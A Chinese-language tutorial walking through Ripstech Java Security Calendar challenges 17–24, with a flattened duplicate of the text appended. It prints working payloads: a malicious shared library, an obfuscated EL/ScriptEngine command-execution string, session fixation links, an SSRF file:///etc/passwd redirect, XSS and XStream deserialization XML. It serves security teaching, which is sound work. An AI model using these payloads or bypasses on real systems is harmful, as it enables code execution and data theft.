Ripstech Java Security 2019 Calendar复现系列(四)
字数 1956 2025-08-22 12:23:41

Ripstech Java Security 2019 Calendar复现系列(四) 教学文档

Day17 Library注入

漏洞原理

  1. 系统允许上传任意扩展名和Content-Type的文件到/var/myapp/data目录
  2. 通过cookie中的env段设置环境变量时,对变量名检查不严格(虽然禁止以"java"、"os"、"file"开头,但可通过.java.xxx绕过)
  3. 攻击者可设置java.library.path为上传目录,通过System.loadLibrary()加载恶意库文件

复现步骤

  1. 环境搭建:IDEA + maven-archetype-webapp

  2. 配置web.xml添加servlet映射

  3. 实现文件上传功能:

    // 安全文件上传代码,允许任意内容类型和扩展名
    String uploadPath = "/var/myapp/data";
    // ...文件上传处理逻辑
    
  4. 构造恶意库文件:

    #define _GNU_SOURCE
    #include <stdlib.h>
    __attribute__ ((__constructor__)) void preload (void){
        system("id");
    }
    

    编译:gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl

  5. 上传恶意库文件并设置环境变量:

    • 在MAC OS上需使用.dylib后缀
    • 通过.java.library.path绕过黑名单检查

Day18 会话固定攻击

漏洞原理

  1. 会话变量可由用户通过config参数控制
  2. 存在会话固定漏洞,攻击者可预设受害者的会话ID
  3. 通过控制last_command会话变量实现命令注入

复现步骤

  1. 环境搭建:IDEA + maven-archetype-webapp

  2. 配置web.xml添加servlet映射

  3. 实现验证逻辑:

    private boolean validBasicAuthHeader(HttpServletRequest request){
        // 检查密码是否为"password_of_day18"
    }
    
  4. 攻击流程:

    • 攻击者获取自己的JSESSIONID
    • 设置last_command:?config=last_command@ls
    • 构造链接使管理员绑定攻击者的会话ID:?config=JSESSIONID@攻击者ID&save_session=yes
    • 管理员验证后执行预设命令

Day19 EL注入

漏洞原理

  1. 用户输入通过eval()执行EL表达式
  2. 虽然有限制(必须以"开头,黑名单过滤),但可通过反射和编码绕过
  3. 利用ScriptEngineManager执行任意代码

复现步骤

  1. 环境搭建:IDEA + maven-archetype-webapp
  2. 配置web.xml添加servlet映射
  3. 构造payload:
    "".equals(javax.script.ScriptEngineManager.class.getConstructor()
      .newInstance().getEngineByExtension("js")
      .eval("java.lang.Auntime.getAuntime().exec(\"touch+/tmp/owned.jsp\")"
      .replaceAll("A","R")))
    
    • 使用字符串替换绕过关键字过滤
    • 空格替换为+避免正则匹配

Day20 LDAP盲注

漏洞原理

  1. 用户输入直接拼接到LDAP查询
  2. 虽然过滤了uuid等敏感字段,但description等字段可被利用
  3. 通过盲注获取管理员createtimestamp生成API token

复现步骤

  1. 环境搭建:LDAP + Docker

    docker pull osixia/openldap:1.3.0
    ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif
    
  2. 编写盲注脚本:

    import requests
    import string
    # 通过description字段盲注获取信息
    

Day21 Padding Oracle攻击

漏洞原理

  1. 使用AES-CBC模式解密用户输入
  2. 通过BadPaddingException泄露信息
  3. 利用CBC的延展性逐字节破解明文

复现步骤

  1. 环境搭建:IDEA + springmvc
  2. 修正代码:req.getParameter("c").toCharArray()
  3. 配置Spring相关XML文件
  4. 编写攻击脚本:
    # 通过发送特制密文,观察响应是否出现"Invalid Padding"
    # 逐步推导Intermediary Value
    

Day22 SSRF

漏洞原理

  1. 允许设置Location头进行重定向
  2. 对Location值的检查不严格(只需包含http://)
  3. 通过file协议读取本地文件

复现步骤

  1. 搭建恶意HTTP服务器:

    # 返回包含恶意Location头的响应
    Location: file:///etc/passwd#http://www.baidu.com
    
  2. 触发SSRF:
    http://victim/day22?url=http://attacker-server/

Day23 格式化字符串漏洞

漏洞原理

  1. 使用format()函数处理用户输入
  2. 通过%s触发Calendar对象中恶意对象的toString()
  3. SimpleTimeZone的id参数未过滤导致XSS

复现步骤

  1. 修正日期解析格式:yyyy-MM-dd'T'HH:mm:ss
  2. 构造payload:
    day23?id=<script>alert(1)</script>&current_time=2013-06-28T00:00:00%2B00:00&name=%25shello

Day24 对象注入漏洞

漏洞原理

  1. 用户输入的XML通过XStream反序列化
  2. 虽然XPath限制了User节点,但User内部可包含Invoker子类
  3. Invoker的readObject方法可执行任意方法

复现步骤

  1. 可选修正:修改password字段类型为Object
  2. 构造恶意XML:
    <com.ananaskr.day24.User serialization="custom">
      <com.ananaskr.day24.Invoker serialization="custom">
        <a><string>touch</string><string>/tmp/abc</string></a>
        <c>java.lang.ProcessBuilder</c>
        <m>start</m>
      </com.ananaskr.day24.Invoker>
    </com.ananaskr.day24.User>
    

总结

本系列涵盖了多种Java安全漏洞,包括:

  • 库文件注入
  • 会话固定
  • EL表达式注入
  • LDAP注入
  • Padding Oracle攻击
  • SSRF
  • 格式化字符串漏洞
  • 不安全的反序列化

每种漏洞都展示了从环境搭建到利用的完整过程,是学习Java安全的重要实践材料。

Ripstech Java Security 2019 Calendar复现系列(四) 教学文档 Day17 Library注入 漏洞原理 系统允许上传任意扩展名和Content-Type的文件到/var/myapp/data目录 通过cookie中的env段设置环境变量时,对变量名检查不严格(虽然禁止以"java"、"os"、"file"开头,但可通过.java.xxx绕过) 攻击者可设置java.library.path为上传目录,通过System.loadLibrary()加载恶意库文件 复现步骤 环境搭建:IDEA + maven-archetype-webapp 配置web.xml添加servlet映射 实现文件上传功能: 构造恶意库文件: 编译: gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl 上传恶意库文件并设置环境变量: 在MAC OS上需使用.dylib后缀 通过.java.library.path绕过黑名单检查 Day18 会话固定攻击 漏洞原理 会话变量可由用户通过config参数控制 存在会话固定漏洞,攻击者可预设受害者的会话ID 通过控制last_ command会话变量实现命令注入 复现步骤 环境搭建:IDEA + maven-archetype-webapp 配置web.xml添加servlet映射 实现验证逻辑: 攻击流程: 攻击者获取自己的JSESSIONID 设置last_ command: ?config=last_command@ls 构造链接使管理员绑定攻击者的会话ID: ?config=JSESSIONID@攻击者ID&save_session=yes 管理员验证后执行预设命令 Day19 EL注入 漏洞原理 用户输入通过eval()执行EL表达式 虽然有限制(必须以"开头,黑名单过滤),但可通过反射和编码绕过 利用ScriptEngineManager执行任意代码 复现步骤 环境搭建:IDEA + maven-archetype-webapp 配置web.xml添加servlet映射 构造payload: 使用字符串替换绕过关键字过滤 空格替换为+避免正则匹配 Day20 LDAP盲注 漏洞原理 用户输入直接拼接到LDAP查询 虽然过滤了uuid等敏感字段,但description等字段可被利用 通过盲注获取管理员createtimestamp生成API token 复现步骤 环境搭建:LDAP + Docker 编写盲注脚本: Day21 Padding Oracle攻击 漏洞原理 使用AES-CBC模式解密用户输入 通过BadPaddingException泄露信息 利用CBC的延展性逐字节破解明文 复现步骤 环境搭建:IDEA + springmvc 修正代码: req.getParameter("c").toCharArray() 配置Spring相关XML文件 编写攻击脚本: Day22 SSRF 漏洞原理 允许设置Location头进行重定向 对Location值的检查不严格(只需包含http://) 通过file协议读取本地文件 复现步骤 搭建恶意HTTP服务器: 触发SSRF: http://victim/day22?url=http://attacker-server/ Day23 格式化字符串漏洞 漏洞原理 使用format()函数处理用户输入 通过%s触发Calendar对象中恶意对象的toString() SimpleTimeZone的id参数未过滤导致XSS 复现步骤 修正日期解析格式: yyyy-MM-dd'T'HH:mm:ss 构造payload: day23?id=<script>alert(1)</script>&current_time=2013-06-28T00:00:00%2B00:00&name=%25shello Day24 对象注入漏洞 漏洞原理 用户输入的XML通过XStream反序列化 虽然XPath限制了User节点,但User内部可包含Invoker子类 Invoker的readObject方法可执行任意方法 复现步骤 可选修正:修改password字段类型为Object 构造恶意XML: 总结 本系列涵盖了多种Java安全漏洞,包括: 库文件注入 会话固定 EL表达式注入 LDAP注入 Padding Oracle攻击 SSRF 格式化字符串漏洞 不安全的反序列化 每种漏洞都展示了从环境搭建到利用的完整过程,是学习Java安全的重要实践材料。